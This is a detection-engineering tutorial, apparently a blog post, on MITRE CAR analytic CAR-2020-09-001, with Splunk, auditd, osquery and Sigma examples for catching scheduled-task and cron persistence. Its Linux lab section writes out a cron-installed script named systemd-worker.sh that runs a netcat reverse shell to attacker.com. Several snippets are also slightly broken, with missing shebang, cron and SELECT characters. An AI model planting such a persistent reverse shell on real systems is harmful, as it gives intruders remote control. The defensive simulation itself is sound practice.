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Introduction:
In the high-stakes world of Security Operations Centers (SOCs), the gap between understanding adversary behavior (the “what”) and actually detecting it in your environment (the “how”) is often a graveyard of failed initiatives. MITRE’s Cyber Analytics Repository (CAR) is the bridge that closes this gap. It is a publicly available knowledge base of analytics developed by MITRE, designed to translate the abstract techniques of the ATT&CK framework into concrete, executable detection logic, complete with required data sources and pseudocode.
Learning Objectives:
- Understand the architecture of MITRE CAR and how it maps directly to ATT&CK techniques to streamline detection engineering.
- Learn how to interpret a CAR analytic and translate its pseudocode into actionable SIEM queries (specifically Splunk) and endpoint detection rules.
- Implement a hands-on detection strategy for a common persistence technique (Scheduled Tasks) using both Windows-native tools and open-source EDR queries.
You Should Know:
1. Deconstructing the MITRE CAR Analytic: CAR-2020-09-001
The post highlights CAR-2020-09-001, which focuses on detecting adversaries using scheduled tasks for persistence or execution. Let’s break down why this analytic is a goldmine for defenders. When you visit the CAR page, it provides a structured breakdown that removes the guesswork from detection.
What it does: It detects instances where a scheduled task creation event (Schedule.TaskCreate) results in, or is closely followed by, file access/modification events (File.FileCreate or File.FileModify). This targets adversaries who drop malicious binaries or scripts via a scheduled task.
The Data Model: CAR defines the required data model explicitly. For this analytic, you need:
– Schedule.TaskCreate: Logs related to task creation (e.g., Windows Event ID 4698 or 106).
– File.FileCreate/Modify: File system activity logs (e.g., Sysmon Event ID 11 or 2).
The Pseudocode: This is the logic engine.
tasks = search Schedule:TaskCreate files = search File:FileCreate AND File:FileModify join tasks, files where (tasks.hostname = files.hostname) AND (files.time - tasks.time < 5s) output tasks.hostname, tasks.task_name, files.file_path
This pseudocode tells us exactly what to look for: a file creation event occurring within 5 seconds of a scheduled task creation on the same host.
- Step-by-Step Guide: Implementing the Detection in Your Lab
To understand this analytic, we must replicate the adversary behavior and then build the detection. Let’s simulate a basic persistence mechanism on a Windows machine.
Step 1: Simulate the Attack (Adversary Action)
Open Command Prompt as Administrator on a Windows 10/11 VM. Create a scheduled task that runs a benign script (simulating a payload) every minute.
:: Create a dummy payload echo @echo off > C:\Temp\persist.bat echo timeout /t 10 >> C:\Temp\persist.bat echo dir C:\ >> C:\Temp\persist.log >> C:\Temp\persist.bat :: Create the scheduled task pointing to the payload schtasks /create /tn "UpdaterService" /tr "C:\Temp\persist.bat" /sc minute /mo 1 /f
Step 2: Enable Required Logging (Preparation for Detection)
To see this activity, you need Sysmon configured. Install Sysmon with a default or telemetry-focused config.
Download and install Sysmon (run as Admin) Download from Microsoft Sysinternals sysmon64 -accepteula -i
Ensure your config captures Process Creation (Event ID 1), File Create (Event ID 11), and Registry changes. A basic config can be downloaded from the SwiftOnSecurity repository on GitHub.
Step 3: Hunt for the IoA (Detection Logic)
After running the simulation, check your Sysmon logs in Windows Event Viewer (Applications and Services Logs/Microsoft/Windows/Sysmon/Operational).
– Search for Event ID 11 (FileCreate): Look for C:\Temp\persist.bat.
– Search for Event ID 1 (ProcessCreation): Look for `schtasks.exe` creating the task, and later `persist.bat` executing.
Step 4: The Splunk Query (Correlation)
If you forward these logs to a Splunk instance, you would implement the CAR pseudocode as a search:
index=windows source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" | transaction host, process_guid maxspan=5s | where (EventCode=1 AND Image="\schtasks.exe") AND (EventCode=11 AND TargetFilename="\Temp\.bat") | table _time, host, User, Image, TargetFilename, CommandLine
Note: This is a simplified correlation. In production, you might use `stats` with `values()` for better performance.
3. Expanding the Hunt: Linux Cron Job Persistence
The same logic applies to Linux environments, where adversaries replace `schtasks` with cron. Here’s how to hunt for malicious cron jobs creating files.
Step 1: Simulate Linux Persistence
Create a malicious script echo '!/bin/bash' > /tmp/systemd-worker.sh echo 'nc -e /bin/bash attacker.com 4444' >> /tmp/systemd-worker.sh chmod +x /tmp/systemd-worker.sh Add a cron job to run it (crontab -l 2>/dev/null; echo " /tmp/systemd-worker.sh") | crontab -
Step 2: Detection via Auditd
Configure Auditd to watch cron spools and file creation.
Add audit rules auditctl -w /etc/crontab -p wa -k cron_mod auditctl -w /var/spool/cron/ -p wa -k cron_spool auditctl -w /tmp/systemd-worker.sh -p wa -k suspicious_script Search the logs for the correlation ausearch -k cron_mod | grep /tmp/systemd-worker.sh
Step 3: Detection via Osquery
Osquery provides a SQL interface to the system. You can query running cron jobs and recently created files.
-- Find recently added cron jobs SELECT FROM crontab; -- Find suspicious scripts in /tmp SELECT FROM file WHERE path LIKE '/tmp/%.sh' AND type='regular';
4. From Pseudocode to Sigma Rules
MITRE CAR pseudocode is a perfect source for creating Sigma rules, the generic signature format for SIEMs. Let’s convert our analytic.
Sigma Rule Example (sigma.yaml):
title: Suspicious Scheduled Task Creation with File Write id: 12345678-90ab-cdef-1234-567890abcdef status: experimental description: Detects schtasks.exe creating a task that coincides with a file write in a user-writable location (mirroring CAR-2020-09-001). references: - https://car.mitre.org/analytics/CAR-2020-09-001/ author: Undercode date: 2024/01/01 logsource: product: windows service: sysmon detection: selection_task: EventID: 1 Image: '\schtasks.exe' selection_file: EventID: 11 TargetFilename|contains: - '\Temp\' - '\Users\Public\' - '\AppData\' condition: selection_task and selection_file by host | span=5s fields: - ComputerName - User - Image - TargetFilename - CommandLine falsepositives: - Legitimate software installers level: medium
What Undercode Say:
- Bridge the Gap, Don’t Build the Bridge: CAR provides the blueprint for detection. Trying to build detection logic from raw ATT&CK techniques without CAR is like building a house without a blueprint—possible, but inefficient and prone to structural failure. Always start with CAR.
- Context is King, Correlation is Queen: The example shows that a single event (task creation) is often noise. The correlation of two events (task creation + file write) in a tight time window provides the high-fidelity signal required to reduce alert fatigue. Your detection strategy must pivot from “Indicator of Compromise” (IoCs) to “Indicator of Attack” (IoAs) using behavioral correlation.
MITRE CAR represents a paradigm shift from reactive threat intelligence to proactive threat hypothesis. By converting abstract TTPs into testable, data-driven queries, it democratizes detection engineering. However, the analytics are only as good as the data you feed them. If you are not logging the required data sources (like Sysmon process creation and file access), CAR analytics remain theoretical. The future of SOC efficiency lies in automating the translation of these CAR analytics directly into production SIEM alerts, creating a self-tuning detection engine that adapts as ATT&CK evolves.
Prediction:
As AI-driven autonomous SOCs become mainstream, platforms will begin ingesting repositories like CAR not just as references, but as “source code” for defensive engines. We will see the rise of “Detection-as-Code” pipelines where a change in a MITRE CAR analytic triggers an automated CI/CD pipeline that writes, tests, and deploys the corresponding SIEM rule across thousands of customer environments. This will compress the detection engineering lifecycle from weeks to minutes, forcing adversaries to evolve their TTPs at an unprecedented rate to avoid automated detection.
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